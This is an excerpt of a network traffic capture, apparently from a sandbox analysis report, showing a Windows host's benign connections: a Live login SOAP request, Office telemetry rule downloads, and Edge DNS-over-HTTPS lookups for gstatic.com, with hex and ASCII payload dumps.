2024-11-23 00:14:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49764	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:24 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-23 00:14:24 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:25 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:24 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 45d50bf8-9034-4374-9dcd-16206120e54b PPServer: PPV: 30 H: SN1PEPF0002F985 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:24 GMT Connection: close Content-Length: 1276
2024-11-23 00:14:25 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001425Z-15b8b599d88pxmdghC1TEBux9c00000002c0000000002zp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001425Z-174c587ffdf6b487hC1TEBydsn00000001z000000000ucva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001425Z-15b8b599d88wn9hhhC1TEBry0g00000002ag000000000w9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001425Z-15b8b599d88phfhnhC1TEBr51n00000002bg000000004g3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:25 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001425Z-174c587ffdftjz9shC1TEBsh98000000023g000000002anr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49787	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf586cd7f41ef-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f3 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49798	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf586c9c6423b-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 19 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49792	172.64.41.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf586d9424402-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49793	172.64.41.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 00:14:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 00:14:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6cf586eb604239-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 00:14:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 18 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49800	162.159.61.3	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 00:14:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
